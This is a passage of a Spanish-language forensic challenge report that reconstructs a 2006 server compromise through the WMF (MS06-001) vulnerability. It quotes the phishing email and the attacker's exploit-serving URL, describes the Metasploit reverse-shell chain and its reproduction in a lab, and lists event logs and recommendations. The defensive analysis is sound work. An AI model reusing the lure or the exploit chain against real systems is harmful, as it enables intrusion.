Para complementar la información que hasta ahora tenemos, revisamos el cache de Internet Explorer del usuario Johnatan, para ello usamos el File Análisis de autopsy y revisamos el contenido de la carpeta Local Settings\Temporary Internet\ Content.IE5 . Del cache específicamente del de ese día pudimos rescatar alguna información. Entre ella este correo de Yahoo:

De: [email protected] Añadir a Libreta de contactos Para: [email protected] Asunto: Urgente!! (correccion) Fecha: Sun, 5 Feb 2006 14:42:47 -0600 (CST) Johnny: Esta es la liga correcta, Por favor baja el catalogo que esta en http://70.107.249.150:8080/clientes.wmf Alberto Lopez Director General Electronica y Computacion S.A. de C.V.

Page 32: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

32

Vemos la fecha del correo Sun, 5 Feb 2006 14:42:47 -0600 (CST), la fecha es la misma en la que se crearon los usuarios ver0k en el S.O.y admin en el WebERP, y en cuanto a la hora marca 14:42 en tiempo CST, para cambiarlo a tiempo PST le restamos dos horas mas dando la hora 12:42 PST que también coincide con el tiempo en que se encontró la actividad sospechosa. La dirección a la que se hace referencia en el correo es la misma desde la que se creo la cuenta admin (http://70.107.249.150:8080/clientes.wmf ).

Vemos que la extensión del archivo es wmf (Windows Meta File), buscamos en Google para ver si existe alguna vulnerabilidad sobre este tipo de archivo, y encontramos información de una vulnerabilidad relacionada a este tipo de archivos que la versión de Windows 2003 y podría permitir la ejecución de código remoto. La información de esta vulnerabilidad se encuentra en el Microsoft Security Bulletin MS06-001 (www.microsoft.com/technet/security/bulletin/MS06-001.mspx). Básicamente el problema se encuentra en la forma en que el Visor de Imágenes y de Fax de Windows procesa este tipo de archivo, el fallo se produce al hacer una llamada especial a la función SETABORTPROC, existe un parche de seguridad de Microsoft para este fallo, es el KB912919, durante la evaluación del sistema vimos que parches se encontraban instalados en el equipo y el KB912919 no se encuentra instalado por tanto el sistema era vulnerable a este fallo. Buscando mas información en Google, encontramos con que ha un exploit sido portado a una versión del Metasploit Framework por H D Moore, el Metasploit es una Framework en el que se han portado gran cantidad de exploit’s y esta pensado en ser una herramienta que permita evaluar seguridad y experimentar con los exploits (Puede encontrar mas información en http://www.metasploit.com ). Este exploit permite levantar un servidor escuchando en el puerto 8080, recibe una llamada y regresa un archivo especialmente formado para explotar esta vulnerabilidad, este archivo explota la vulnerabilidad e infecta la maquina con el troyano Bloodhound.Exploit.56 (http://securityresponse.symantec.com/avcenter/venc/data/pf/bloodhound.exploit.56.html ) el cual envía una terminal de regreso al atacante. Básicamente el atacante instala el Metasploit Framework, ejecuta el exploit, envía a la victima una URL del servidor que levanta el Metasploit y espera a que la victima visite URL, cuando la victima visita la URL recibe un archivo de imagen especialmente formado (El nombre del archivo es una larga cadena aleatoria con terminación .tiff para asegurar que sea procesado por el Visor de Imágenes y de Fax de Windows), inyecta el troyano y envía una terminal shell de regreso al atacante, con los privilegios del usuario que se encontrase en la maquina.

Page 33: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

33

Para no dejar esto en teoría descargamos una versión del Metasploit y realizamos la siguiente prueba, instalamos el Metasploit en la maquina virtual con Knoppix y ejecutamos el exploit:

Desde la maquina con Windows abrimos un navegador y ejecutamos la dirección de la maquina virtual, http://192.168.247.128:8080/clientes.wmf, al instante el Antivirus Norton detecta la amenaza (Note que el objeto tiene extensión .tiff):

Page 34: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

34

Como nos interesa ver el funcionamiento del exploit, desactivamos el Antivirus y repetimos la prueba:

Page 35: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

35

Podemos ver en la pantalla de Knoppix (Al fondo) como obtuvimos una terminal de Windows con el usuario que ejecuto el exploit, también podemos ver como el Firewall de Windows, a pesar de estar activo permitió el exploit y no mando ninguna alerta. Recordemos ahora que el usuario Johnatan tenia en el historial de Internet Explorer un acceso a http://70.107.249.150:8080/GPlw9OgYR6/uSvcCeC1V18W/bfKJ0KMsfYBZnaFKx6dZs/FHBwenHfCEt6do1Z/e9zhOEMQ052

zYwSU5Oi/AUWWckI2mU/LQ9ClubslAJKIa2jdYtSFExez4sRyL.tiff , Como podemos ver el servidor escuchaba en el puerto 8080 y envió un archivo con un nombre largo y posiblemente aleatorio con extensión .tiff . Si el usuario Johnatan fue vulnerado envió una terminal al atacante con los privilegios de la cuenta Johnatan, ¿Y que privilegios tenia dicho usuario? Para saberlo colectamos un evento del archivo SecEvent.Evt de un inicio de sesión de dicho usuario:

Según la guía de Hardening de Windows (http://www.microsoft.com/technet/security/prodtech/windows2000/win2khg/appxb.mspx ), este grupo de privilegios corresponden a un Administrador. Dado que el usuario Johnatan tenía nivel de Administrador, el atacante recibió una terminal con este nivel. Se recomienda revisar el Anexo 3 desde documento donde se analiza la herramienta.

A este punto creemos que no es necesario colectar más información. Contamos ya con suficientes datos para formular una teoría sobre lo acontecido, por tanto damos por finalizado este punto y pasamos a concluir el análisis.

3.7 Formulando la teoría del ataque.

Llego la hora de armar el rompecabezas. En este punto repasamos toda la información de la que disponemos, en base a los horarios en los que se presentaron los distintos eventos relacionamos los distintos hechos y la evidencia, y formulamos la siguiente teoría:

Tipo de suceso: Aciertos Origen del suceso: Security Categoría del suceso: Uso de privilegios Id. suceso: 576 Fecha: 03/02/2006 Hora: 08:07:40 p.m. Usuario: S-1-5-21-2780117151-1340924567-2512508698-1006 Equipo: COUNTERS Descripción: Privilegios especiales asignados al nuevo inicio de sesión: Usuario: Johnatan Dominio: COUNTERS Id. de inicio de sesión: (0x0,0x5AA33) Privilegios: SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege

Page 36: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

36

El día 05 de Febrero de 2006 el servidor COUNTERS fue atacado aprovechando una vulnerabilidad existente en la versión de Windows que tenia instalada (Windows 2003) relacionada la forma en que se procesan los archivos WMF (Windows Meta File) y para la cual no tenia el parche de seguridad instalado (Parche KB912919). El atacante instalo y ejecuto la herramienta Metasploit, (La cual levanta un servidor que escucha en el puerto 8080 y permite explotar la vulnerabilidad antes descrita cuando la victima visita vía HTTP al servidor desde una maquina vulnerable) en la IP 70.107.249.150 desde la cual efectuó el ataque.

El atacante envió un correo electrónico desde la dirección [email protected] a la dirección de Yahoo del administrador [email protected] invitándolo con engaños (Ingeniería Social) a visitar la dirección desde la cual escuchaba el Metasploit http://70.107.249.150:8080/clientes.wmf . Un usuario se encontraba en ese momento dentro de la maquina, logueado con la cuenta Johnatan la cual tenia privilegios de administrador, este usuario que suponemos es el dueño de la cuenta checaba via Web su correo de Yahoo desde el servidor, y accede a la dirección que le envió el atacante. Se produce exitosamente el exploit de la vulnerabilidad y el atacante recibe una terminal con privilegios de administrador, el siguiente evento nos muestra el momento en que se ejecuto la terminal (Se envía el prompt del sistema):

Siguiendo los eventos que registra la cuenta Johnatan a partir de ese momento encontramos que el atacante hace uso de los comandos net.exe y net1.exe para crear la una nueva cuenta en el sistema operativo (La cuenta ver0k) la cual agrega también como Administrador (Ver anexo1). Ejecuta también el programa reg.exe, el cual le permite ver y modificar el registro de Windows, verifica la versión de Windows usando winver.exe . El servidor tenia el Terminal Services habilitado, a las 12:47 PST se recibe un paquete del tipo MICROSOFT_AUTHENTICATION_PACKAGE_V1_0, e inicia los intentos de conexión de la cuenta ver0k, le damos seguimiento a los eventos que se registraron en SecEvent.Evt el atacante inicia sesión muy probablemente a través del Terminal Services para ver0k (Ver anexo 2), a partir de ahí tiene acceso de modo grafico al servidor con una cuenta con privilegios de administrador. El atacante ejecuta el Internet Explorer, el Outlook Express, intenta acceder al servidor de MySQL ejecutando el MySQLAdministrator, ver el siguiente evento:

Tipo de suceso: Aciertos Origen del suceso: Security Categoría del suceso: Seguimiento detallado Id. suceso: 592 Fecha: 05/02/2006 Hora: 12:44:12 p.m. Usuario: S-1-5-21-2780117151-1340924567-2512508698-1006 Equipo: COUNTERS Descripción: Se ha creado un proceso: Id. de proceso: 3376 Nombre de archivo de imagen: C:\WINDOWS\system32\cmd.exe Id. de proceso creador: 884 Nombre de usuario: Johnatan Dominio: COUNTERS Id. de inicio de sesión: (0x0,0x3DF69A)

Page 37: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

37

12:50 PST Utiliza el wordpad para ver el contenido del archivo config.php (Hay un evento a las 12:50 donde ejecuta el WordPad, recordemos que en el historial de Internet Explorer aparece que accedió a ese archivo a las 12:50), donde aparecía el nombre de usuario para acceder a la base de datos de WEBERP. Y posteriormente ejecuta el cliente de MySQL para acceder directo a la base de datos:

Ejecuta el MSN Messenger 7.5 y el Windows Media Player, según el Historial de Internet Explorer entre 13:00 PST y 14:00 PST, visito las carpetas de los usuarios, con especial atención a las imágenes de índole sexual, y las animación de www.huevocartoon.com y finalmente cierra sesión a las 15:44 PST:

Tipo de suceso: Aciertos Origen del suceso: Security Categoría del suceso: Seguimiento detallado Id. suceso: 592 Fecha: 05/02/2006 Hora: 12:48:17 p.m. Usuario: S-1-5-21-2780117151-1340924567-2512508698-1024 Equipo: COUNTERS Descripción: Se ha creado un proceso: Id. de proceso: 2320 Nombre de archivo de imagen: C:\Program Files\MySQL\MySQL Administrator 1.1\MySQLAdministrator.exe Id. de proceso creador: 720 Nombre de usuario: ver0k Dominio: COUNTERS

Tipo de suceso: Aciertos Origen del suceso: Security Categoría del suceso: Seguimiento detallado Id. suceso: 592 Fecha: 05/02/2006 Hora: 12:51:16 p.m. Usuario: S-1-5-21-2780117151-1340924567-2512508698-1024 Equipo: COUNTERS Descripción: Se ha creado un proceso: Id. de proceso: 392 Nombre de archivo de imagen: C:\apache\Apache\mysql\bin\mysql.exe Id. de proceso creador: 2320 Nombre de usuario: ver0k Dominio: COUNTERS Id. de inicio de sesión: (0x0,0x3F4E19)

Tipo de suceso: Aciertos Origen del suceso: Security Categoría del suceso: Inicio/cierre de sesión Id. suceso: 538 Fecha: 05/02/2006 Hora: 15:44:12 p.m. Usuario: S-1-5-21-2780117151-1340924567-2512508698-1024 Equipo: COUNTERS Descripción: Cierre de sesión de usuario: Nombre de usuario: ver0k Dominio: COUNTERS Id. de inicio de sesión: (0x0,0x3F4E19) Tipo de inicio de sesión: 10

Page 38: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

38

Es muy factible que el atacante haya accedido al archivo counters.log y tomado los datos de la cuenta acontreras, a las 13:57 PST se conecto vía Web a la aplicación WebERP con la cuenta acontreras desde la misma maquina que ejecuto el ataque y creo el usuario admin.

También encontramos actividad de la cuenta Administrador ejecutando un Kit de respuesta entre las 14:00 y las 15:00 PST. Por lo que no hubo mas actividad por parte del atacante.

Un WHOIS a la IP desde la que se origino el ataque arroja la siguiente información:

3.8 Consideraciones sobre la teoría.

El ataque fue un ataque dirigido, el atacante conocía al administrador del servidor y tomo como blanco específicamente este servidor. Aunque el correo que envió el atacante venia a nombre del director de la empresa propietaria del servicio, resultaría un poco ilógico que sea el quien ataco un servidor que finalmente le pertenecía. Puede ser también que el atacante haya robado la

OrgName: Verizon Internet Services Inc. OrgID: VRIS Address: 1880 Campus Commons Dr City: Reston StateProv: VA PostalCode: 20191 Country: US NetRange: 70.104.0.0 - 70.111.255.255 CIDR: 70.104.0.0/13 NetName: VIS-70-104 NetHandle: NET-70-104-0-0-1 Parent: NET-70-0-0-0-0 NetType: Direct Allocation NameServer: NS1.BELLATLANTIC.NET NameServer: NS2.BELLATLANTIC.NET NameServer: NS2.VERIZON.NET NameServer: NS4.VERIZON.NET Comment: Please send all abuse reports to abuse at verizon.net. Comment: DO NOT send e-mail to DIA.ADMIN at verizon.com as it will not be answered. RegDate: 2004-09-21 Updated: 2005-04-21 OrgAbuseHandle: VISAB-ARIN OrgAbuseName: VIS Abuse OrgAbusePhone: +1-214-513-6711 OrgAbuseEmail: abuse at verizon.net OrgTechHandle: ZV20-ARIN OrgTechName: Verizon Internet Services OrgTechPhone: +1-703-295-4583 OrgTechEmail: IPNMC at gnilink.net # ARIN WHOIS database, last updated 2006-03-24 19:10 # Enter ? for additional hints on searching ARIN's WHOIS database.

Page 39: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

39

identidad del Director de la empresa para enviar el correo. Puede suponerse que el ataque se efectuó bajo alguno de los siguientes escenarios:

- Abuso de confianza por uno o más empleados. - Revancha de usuarios que hayan sido separados de la empresa. - Espionaje industrial. - Falta a la confidencialidad de información critica por parte del administrador.

Entre otros, descubrir bajo que escenario se llevo a cabo, requeriría entrevistar a los presuntos implicados lo cual queda fuera del alcance de este análisis.

3.9 Recomendaciones al administrador.

En base a lo observado se recomienda al administrador observar los siguientes puntos:

- Mantener al día las actualizaciones del servidor. Aun que el menciono que este estaba actualizado, el parche de seguridad que corregía la vulnerabilidad de la que se aprovecho el atacante ya existía al momento de que sucedió el ataque, y este no estaba instalado.

- Dar de baja las cuentas que no son indispensables. - Corregir o cambiar la versión de WebERP. En la versión mas reciente

descargada de la Web todavía se envía el password en texto claro. Quizás sea conveniente evaluar otro sistema de ERP.

- No utilizar el servidor para cosas que no sean estrictamente de trabajo. - Cambiar los passwords de todos los usuarios del WebERP. - Disminuir el número de administradores del WebERP. - El manual del Apache debe ser removido, el dejar el manual instalado

permite a los atacantes identificar de forma sencilla el Web Server. Tambien el contenido de la carpeta cgi-bin.

- Mantener un estricta confidencialidad de la información critica de la empresa.

Por lo demás, el Administrador respondió al incidente casi una hora después de que este dio inicio, esto nos indica que se mantenía al tanto del servidor, continuar así. En la medida de las posibilidades de la empresa, consideren aumentar su esquema de seguridad (Firewall externos, IDS, etc.). Una recomendación para la empresa es dar continuidad a la investigación. La información es un activo que debe ser protegido.

Page 40: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

40

4 Conclusiones

4.1 Respuestas a las preguntas planteadas por el reto.

Se da respuesta a las preguntas planteadas por el reto: ¿El sistema ha sido comprometido?

Si ¿Quién (desde dónde) se realizó el ataque?

Ver el punto 3.7 de este documento ¿Cómo se realizó el ataque?

Ver el punto 3.7 de este documento ¿Qué hizo el atacante en el sistema comprometido?

Ver el punto 3.7 de este documento

4.2 Correspondencia con la estructura de reporte sugerida.

Los organizadores sugirieron una estructura para este reporte, aun que esta no se siguió fielmente, creo que este reporte cumple con la mayoría de los puntos sugeridos. Cubierto en el punto 1: Antecedentes del incidente Cubierto en el punto 2 : Entorno del análisis, Descripción de las herramientas. Cubierto en el punto 3 : Recolección de los datos, Descripción de la evidencia, Análisis de la evidencia ,Información del sistema analizado , Características del SO ,Aplicaciones ,Servicios ,Vulnerabilidades ,Metodología ,Descripción de los hallazgos ,Huellas de la intrusión ,Herramientas usadas por el atacante ,Alcance de la intrusión ,El origen del ataque, Cronología de la intrusión , Recomendaciones específicas .Cubierto en el punto 4:Conclusiones. Ver Anexos: Análisis de artefactos

4.3 Agradecimientos.

A los organizadores por retarnos nuevamente. Agradezco además a la gente que me apoyo durante la realización de la investigación, a la gente de la lista de ANAFON y por supuesto a mi amada esposa Gabriela. Dedicado a mi sobrina Ingrid Carolina ¡Bienvenida pequeña!. DNSJH.

¡Termine!

Page 41: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

41

5 Anexos

5.1 Anexo 1 Eventos relevantes de la cuenta Johnatan a partir del incidente. Tipo de suceso: Aciertos Origen del suceso: Security Categoría del suceso: Seguimiento detallado Id. suceso: 592 Fecha: 05/02/2006 Hora: 12:23:49 p.m. Usuario: S-1-5-21-2780117151-1340924567-2512508698-1006 Equipo: COUNTERS Descripción: Se ha creado un proceso: Id. de proceso: 3128 Nombre de archivo de imagen: C:\Program Files\Internet Explorer\IEXPLORE.EXE Id. de proceso creador: 904 Nombre de usuario: Johnatan Dominio: COUNTERS Id. de inicio de sesión: (0x0,0x3DF69A) *********************************************************************************************************************** Tipo de suceso: Aciertos Origen del suceso: Security Categoría del suceso: Seguimiento detallado Id. suceso: 592 Fecha: 05/02/2006 Hora: 12:44:11 p.m. Usuario: S-1-5-21-2780117151-1340924567-2512508698-1006 Equipo: COUNTERS Descripción: Se ha creado un proceso: Id. de proceso: 884 Nombre de archivo de imagen: C:\WINDOWS\system32\rundll32.exe Id. de proceso creador: 3128 Nombre de usuario: Johnatan Dominio: COUNTERS Id. de inicio de sesión: (0x0,0x3DF69A) *********************************************************************************************************************** Tipo de suceso: Aciertos Origen del suceso: Security Categoría del suceso: Seguimiento detallado Id. suceso: 592 Fecha: 05/02/2006 Hora: 12:44:12 p.m. Usuario: S-1-5-21-2780117151-1340924567-2512508698-1006 Equipo: COUNTERS Descripción: Se ha creado un proceso: Id. de proceso: 3376 Nombre de archivo de imagen: C:\WINDOWS\system32\cmd.exe Id. de proceso creador: 884 Nombre de usuario: Johnatan Dominio: COUNTERS Id. de inicio de sesión: (0x0,0x3DF69A) *********************************************************************************************************************** Tipo de suceso: Aciertos Origen del suceso: Security Categoría del suceso: Seguimiento detallado Id. suceso: 592 Fecha: 05/02/2006 Hora: 12:45:30 p.m. Usuario: S-1-5-21-2780117151-1340924567-2512508698-1006 Equipo: COUNTERS Descripción: Se ha creado un proceso: Id. de proceso: 2988 Nombre de archivo de imagen: C:\WINDOWS\system32\net.exe

Page 42: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

42

Id. de proceso creador: 3376 Nombre de usuario: Johnatan Dominio: COUNTERS Id. de inicio de sesión: (0x0,0x3DF69A). *********************************************************************************************************************** Tipo de suceso: Aciertos Origen del suceso: Security Categoría del suceso: Seguimiento detallado Id. suceso: 592 Fecha: 05/02/2006 Hora: 12:45:30 p.m. Usuario: S-1-5-21-2780117151-1340924567-2512508698-1006 Equipo: COUNTERS Descripción: Se ha creado un proceso: Id. de proceso: 3700 Nombre de archivo de imagen: C:\WINDOWS\system32\net1.exe Id. de proceso creador: 2988 Nombre de usuario: Johnatan Dominio: COUNTERS Id. de inicio de sesión: (0x0,0x3DF69A) *********************************************************************************************************************** Tipo de suceso: Aciertos Origen del suceso: Security Categoría del suceso: Administración de cuentas Id. suceso: 632 Fecha: 05/02/2006 Hora: 12:45:30 p.m. Usuario: S-1-5-21-2780117151-1340924567-2512508698-1006 Equipo: COUNTERS Descripción: Miembro de grupo global habilitado de seguridad agregado: Nombre del miembro: - Id. del miembro: S-1-5-21-2780117151-1340924567-2512508698-1024 Nombre de cuenta destino: None Dominio de destino: COUNTERS Id. de cuenta destino: %{S-1-5-21-2780117151-1340924567-2512508698-513} Nombre de usuario llamador: Johnatan Dominio del llamador: COUNTERS Id. de inicio de sesión del llamador: (0x0,0x3DF69A) Privilegios: - Tipo de suceso: Aciertos Origen del suceso: Security Categoría del suceso: Administración de cuentas Id. suceso: 624 Fecha: 05/02/2006 Hora: 12:45:30 p.m. Usuario: S-1-5-21-2780117151-1340924567-2512508698-1006 Equipo: COUNTERS Descripción: Cuenta de usuario creada: Nombre de cuenta nueva: ver0k Dominio nuevo: COUNTERS Id. de cuenta nueva: S-1-5-21-2780117151-1340924567-2512508698-1024 Nombre de usuario llamador: Johnatan Dominio del llamador: COUNTERS Id. de inicio de sesión del llamador: (0x0,0x3DF69A) Privilegios - *********************************************************************************************************************** Tipo de suceso: Aciertos Origen del suceso: Security Categoría del suceso: Administración de cuentas Id. suceso: 626 Fecha: 05/02/2006 Hora: 12:45:30 p.m. Usuario: S-1-5-21-2780117151-1340924567-2512508698-1006

Page 43: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

43

Equipo: COUNTERS Descripción: Cuenta de usuario habilitada: Nombre de cuenta destino: ver0k Dominio destino: COUNTERS Id. de cuenta destino: S-1-5-21-2780117151-1340924567-2512508698-1024 Nombre de usuario llamador: Johnatan Dominio del llamador: COUNTERS Id. de inicio de sesión del llamador:(0x0,0x3DF69A) *********************************************************************************************************************** Tipo de suceso: Aciertos Origen del suceso: Security Categoría del suceso: Seguimiento detallado Id. suceso: 593 Fecha: 05/02/2006 Hora: 12:46:23 p.m. Usuario: S-1-5-21-2780117151-1340924567-2512508698-1006 Equipo: COUNTERS Descripción: Ha terminado un proceso: Id. de proceso: 3984 Nombre de archivo de imagen: C:\WINDOWS\system32\reg.exe Nombre de usuario: Johnatan Dominio: COUNTERS Id. de inicio de sesión: (0x0,0x3DF69A) *********************************************************************************************************************** Tipo de suceso: Aciertos Origen del suceso: Security Categoría del suceso: Administración de cuentas Id. suceso: 636 Fecha: 05/02/2006 Hora: 12:45:53 p.m. Usuario: S-1-5-21-2780117151-1340924567-2512508698-1006 Equipo: COUNTERS Descripción: Miembro de grupo local habilitado de seguridad agregado: Nombre del miembro: - Id. del miembro: S-1-5-21-2780117151-1340924567-2512508698-1024 Nombre de cuenta destino: Administrators Dominio de destino: Builtin Id. de cuenta destino: BUILTIN\Administradores Nombre de usuario llamador: Johnatan Dominio del llamador: COUNTERS Id. de inicio de sesión del llamador: (0x0,0x3DF69A)

5.2 Anexo 2 Eventos relevantes de la cuenta ver0k. Tipo de suceso: Aciertos Origen del suceso: Security Categoría del suceso: Inicio de sesión de la cuenta Id. suceso: 680 Fecha: 05/02/2006 Hora: 12:47:21 p.m. Usuario: S-1-5-21-2780117151-1340924567-2512508698-1024 Equipo: COUNTERS Descripción: Inicio de sesión intentado por: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 Cuenta de inicio de sesión: ver0k Estación de trabajo de origen: COUNTERS Código de error: 0x0 *********************************************************************************************************************** Tipo de suceso: Aciertos Origen del suceso: Security Categoría del suceso: Uso de privilegios Id. suceso: 576 Fecha: 05/02/2006 Hora: 12:47:21 p.m. Usuario: S-1-5-21-2780117151-1340924567-2512508698-1024 Equipo: COUNTERS Descripción:

Page 44: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

44

Privilegios especiales asignados al nuevo inicio de sesión: Usuario: Dominio: Id. de inicio de sesión: (0x0,0x3F4E19) Privilegios: SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege *********************************************************************************************************************** Tipo de suceso: Aciertos Origen del suceso: Security Categoría del suceso: Seguimiento detallado Id. suceso: 592 Fecha: 05/02/2006 Hora: 12:47:38 p.m. Usuario: S-1-5-21-2780117151-1340924567-2512508698-1024 Equipo: COUNTERS Descripción: Se ha creado un proceso: Id. de proceso: 1016 Nombre de archivo de imagen: C:\WINDOWS\system32\ie4uinit.exe Id. de proceso creador: 720 Nombre de usuario: ver0k Dominio: COUNTERS Id. de inicio de sesión: (0x0,0x3F4E19) *********************************************************************************************************************** Tipo de suceso: Aciertos Origen del suceso: Security Categoría del suceso: Seguimiento detallado Id. suceso: 592 Fecha: 05/02/2006 Hora: 12:47:42 p.m. Usuario: S-1-5-21-2780117151-1340924567-2512508698-1024 Equipo: COUNTERS Descripción: Se ha creado un proceso: Id. de proceso: 3980 Nombre de archivo de imagen: C:\Program Files\Outlook Express\setup50.exe Id. de proceso creador: 720 Nombre de usuario: ver0k Dominio: COUNTERS Id. de inicio de sesión: (0x0,0x3F4E19) *********************************************************************************************************************** Tipo de suceso: Aciertos Origen del suceso: Security Categoría del suceso: Seguimiento detallado Id. suceso: 592 Fecha: 05/02/2006 Hora: 12:48:17 p.m. Usuario: S-1-5-21-2780117151-1340924567-2512508698-1024 Equipo: COUNTERS Descripción: Se ha creado un proceso: Id. de proceso: 2320 Nombre de archivo de imagen: C:\Program Files\MySQL\MySQL Administrator 1.1\MySQLAdministrator.exe Id. de proceso creador: 720 Nombre de usuario: ver0k Dominio: COUNTERS Id. de inicio de sesión: (0x0,0x3F4E19). *********************************************************************************************************************** Tipo de suceso: Aciertos Origen del suceso: Security Categoría del suceso: Seguimiento detallado Id. suceso: 593 Fecha: 05/02/2006

Page 45: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

45

Hora: 12:49:53 p.m. Usuario: S-1-5-21-2780117151-1340924567-2512508698-1024 Equipo: COUNTERS Descripción: Ha terminado un proceso: Id. de proceso: 520 Nombre de archivo de imagen: C:\Program Files\Windows NT\Accessories\wordpad.exe Nombre de usuario: ver0k Dominio: COUNTERS Id. de inicio de sesión: (0x0,0x3F4E19) *********************************************************************************************************************** Tipo de suceso: Aciertos Origen del suceso: Security Categoría del suceso: Seguimiento detallado Id. suceso: 592 Fecha: 05/02/2006 Hora: 12:51:16 p.m. Usuario: S-1-5-21-2780117151-1340924567-2512508698-1024 Equipo: COUNTERS Descripción: Se ha creado un proceso: Id. de proceso: 392 Nombre de archivo de imagen: C:\apache\Apache\mysql\bin\mysql.exe Id. de proceso creador: 2320 Nombre de usuario: ver0k Dominio: COUNTERS Id. de inicio de sesión: (0x0,0x3F4E19) *********************************************************************************************************************** Tipo de suceso: Aciertos Origen del suceso: Security Categoría del suceso: Seguimiento detallado Id. suceso: 593 Fecha: 05/02/2006 Hora: 01:01:22 p.m. Usuario: S-1-5-21-2780117151-1340924567-2512508698-1024 Equipo: COUNTERS Descripción: Ha terminado un proceso: Id. de proceso: 392 Nombre de archivo de imagen: C:\apache\Apache\mysql\bin\mysql.exe Nombre de usuario: ver0k Dominio: COUNTERS Id. de inicio de sesión: (0x0,0x3F4E19) Tipo de suceso: Aciertos Origen del suceso: Security Categoría del suceso: Seguimiento detallado Id. suceso: 861 Fecha: 05/02/2006 Hora: 01:04:14 p.m. Usuario: S-1-5-21-2780117151-1340924567-2512508698-1024 Equipo: COUNTERS Descripción: El Firewall de Windows detectó una aplicación al escuchar el tráfico entrante. Nombre: MSN Messenger 7.5 Ruta de acceso: C:\Program Files\MSN Messenger\msnmsgr.exe Identificador del proceso: 2448 Cuenta de usuario: ver0k Dominio de usuario: COUNTERS Servicio: No Servidor RPC: No Versión IP: IPv4 Versión IP: UDP Número de puerto: 2186 Permitido: Yes *********************************************************************************************************************** Tipo de suceso: Aciertos Origen del suceso: Security Categoría del suceso: Seguimiento detallado

Page 46: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

46

Id. suceso: 592 Fecha: 05/02/2006 Hora: 01:14:26 p.m. Usuario: S-1-5-21-2780117151-1340924567-2512508698-1024 Equipo: COUNTERS Descripción: Se ha creado un proceso: Id. de proceso: 3744 Nombre de archivo de imagen: C:\Program Files\Windows Media Player\wmplayer.exe Id. de proceso creador: 720 Nombre de usuario: ver0k Dominio: COUNTERS Id. de inicio de sesión: (0x0,0x3F4E19) *********************************************************************************************************************** Tipo de suceso: Aciertos Origen del suceso: Security Categoría del suceso: Seguimiento detallado Id. suceso: 593 Fecha: 05/02/2006 Hora: 01:29:32 p.m. Usuario: S-1-5-21-2780117151-1340924567-2512508698-1024 Equipo: COUNTERS Descripción: Ha terminado un proceso: Id. de proceso: 2928 Nombre de archivo de imagen: C:\Documents and Settings\Administrator\My Documents\My Videos\cartoons\amigas de huevos.exe Nombre de usuario: ver0k Dominio: COUNTERS Id. de inicio de sesión: (0x0,0x3F4E19) *********************************************************************************************************************** Tipo de suceso: Aciertos Origen del suceso: Security Categoría del suceso: Seguimiento detallado Id. suceso: 593 Fecha: 05/02/2006 Hora: 01:59:16 p.m. Usuario: S-1-5-21-2780117151-1340924567-2512508698-1024 Equipo: COUNTERS Descripción: Ha terminado un proceso: Id. de proceso: 2320 Nombre de archivo de imagen: C:\Program Files\MySQL\MySQL Administrator 1.1\MySQLAdministrator.exe Nombre de usuario: ver0k Dominio: COUNTERS Id. de inicio de sesión: (0x0,0x3F4E19) *********************************************************************************************************************** Tipo de suceso: Aciertos Origen del suceso: Security Categoría del suceso: Inicio/cierre de sesión Id. suceso: 538 Fecha: 05/02/2006 Hora: 03:44:12 p.m. Usuario: S-1-5-21-2780117151-1340924567-2512508698-1024 Equipo: COUNTERS Descripción: Cierre de sesión de usuario: Nombre de usuario: ver0k Dominio: COUNTERS Id. de inicio de sesión: (0x0,0x3F4E19) Tipo de inicio de sesión: 10

Page 47: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

47

5.3 Anexo 3 Como funciona el port del exploit en el Metasploit.

Evaluaremos de forma muy breve el funcionamiento del port del exploit hacia el Metasploit, el port se encuentra en la carpeta exploits dentro de la carpeta del Metasploit, el archivo se llama ie_xp_pfv_metafile.pm , fue realizado por HD Moore y esta escrito en Perl. De la línea 44 a la 61 tenemos variables importantes definidas, observe que el puerto en el que se escuchara es el 8080:

